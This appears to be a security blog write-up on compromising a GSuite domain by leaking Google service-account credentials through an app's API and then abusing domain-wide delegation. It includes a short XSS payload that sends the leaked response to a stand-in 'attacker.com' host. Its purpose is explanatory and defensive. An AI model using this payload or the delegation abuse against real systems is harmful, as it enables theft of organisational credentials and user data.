GSuite domain takeover through delegation

Pavel Shabarkin
InfoSec Write-ups
Published in
5 min readJul 27, 2022

--

TL;DR

It is not rare for a modern web application to have OAuth integrations, each of them requires specific set of security policies to be implemented. By exploiting a broken business logic of a web app, it can be possible to retrieve even Google service account credentials integrated through the OAuth flow and compromise all GSuite users by delegating specific permissions in the GSuite domain.

** DISCLAIMER **

Anyone who uses domain wide-delegation of authority and exposes their service account credentials is vulnerable to the issue described below. This means the blog post does not reveal any 0-day vulnerabilities in the described products, It is a shared responsibility issue.

GSuite domain takeover

For our example let’s assume that the application has a specific enterprise focus with most of 3rd party services integrated through OAuth flows. The application then relies on these integration to provide added features and unique solutions. Furthermore, one central feature is the integration with GSuite.

IDOR or broken business logic?

When reviewing web applications it is very important to pay special attention to how the application behaves and what kind of business logic it has. For example, an admin user can update company settings through the following API endpoint:

PUT /api/settings/0921899e-c347-11ec-9d64-0242ac120002/update HTTP/2
Host: vulnerable.com
{"integration.name":"GSuite - takeover"}

If this API endpoint responds with a long list of company fields, and by reviewing all of them you identify something like “google_service_account” field, it is probably a Google service account credentials:

An API can be designed to support several methods at the same API route. All the methods are served for a specific reason, and execute their own business logic.

Taking a look at the GET method for that API endpoint example, the application does not return those credentials, but the PUT method does. So it is valuable to review all the supported methods for the same API route (endpoint), since they can return different datasets.

This data leak could be chained with another attack to potentially leak the data to an attacker. It can be an IDOR, XSS, misconfigured CORS attacks. Let’s review an example case with an XSS attack, where the payload would update any company setting and then redirect the application response to a malicious web server.

But before moving to the exploitation step, we need to get more information what google service credentials are)

What is a Google service account?

At this point the credentials for the Google service account have been compromised, but what can be done with them?

Accordingly to the official documentation:

A service account is a special kind of account used by an application or compute workload, such as a Compute Engine virtual machine (VM) instance, rather than a person. Applications use service accounts to make authorized API calls, authorized as either the service account itself, or as Google Workspace or Cloud Identity users through domain-wide delegation

From the application point of view, domain-wide delegation is an ideal match for our example application business logic. This would allow access to user data on behalf of users in the Google Workspace domain. For example an application would be able to access Google Calendar, Gmail, Sheets, Gdrive API and rest of the GSuite services. Authorizing a service account to access data on behalf of users in a domain is sometimes referred to as “delegating domain-wide authority” to a service account.

There is a detailed guide, how to implement the domain-wide delegation:

The full attack chain

The example attack chain could be composed of 2 parts. The first involves the direct communication with a vulnerable application. We would need to create a XSS payload which update the company setting on the user behalf and then read the response and forward the service account credentials to a host under our control.

var url = "<https://vulnerable.com/api/settings/0921899e-c347-11ec-9d64-0242ac120002/update>";
fetch(url, {
method: 'put',
body: JSON.stringify({"integration.name":"GSuite - takeover"}),
mode: 'cors',
headers: new Headers({
'Content-Type': 'application/json'
})
})
.then(response => fetch("<http://attacker.com/leak?response=>"+response))

For the second part, having Google service account credentials, we don’t interact with vulnerable web application any more, we need to define scopes we would like to get access to, get the email address whose privileges we would like to delegate to, and interact with Google services on the user’s behalf. The image below explains steps to compromise the GSuite account:

Writing an exploit

By reading the service-account-credentials.json file, we read the retrieved Google service account credentials. Then, we delegate specific set of permissions to the user on whose behalf we would like to access GSuite services, such as Gmail, Gdrive, Calendar, Google Spreadsheet, and more of the same. By following the comments within the code base below, you can understand how to delegate user permissions for the service account.

Summary

By obtaining the Google service account credentials, an attacker could really do everything within the GSuite domain of the organization: read, send emails on user’s behalf, read, write files in the Google Drive, review Google sheets, slides, and docs, in other words everything. That’s why it is key that special security mechanisms and precautions are in place to ensure the security of the credentials.

In addition, these credentials may have more permissions assigned and not only the domain delegation permissions needed for our example app. If the organization setting up the integration does not follow the principle of least privilege, these credentials may have permissions to work with GCP infrastructure, and this security issue would open up new attack vectors.

Developers should always inspect each API endpoint to determine what kind of data it returns to the end-user. Leakage of any private user information can lead to devastating results.

References

  1. https://cloud.google.com/iam/docs/service-accounts
  2. https://cloud.google.com/sdk/gcloud/reference/auth/activate-service-account#ACCOUNT
  3. https://cloud.google.com/sdk/gcloud/reference/cheat-sheet
  4. https://cloud.google.com/iam/docs/understanding-service-accounts
  5. https://cloud.google.com/compute/docs/reference/rest/beta/regions/list
  6. https://stackoverflow.com/questions/33901090/how-to-create-gmail-delegation-with-service-account
  7. https://developers.google.com/admin-sdk/directory/v1/guides/delegation#python
  8. https://cloud.google.com/iam/docs/understanding-service-accounts#managing_service_account_keys
  9. https://stackoverflow.com/questions/53320537/creating-google-api-credentials-from-service-account-with-scope-and-delegated-a
  10. https://developers.google.com/admin-sdk/reports/v1/guides/delegation

--

--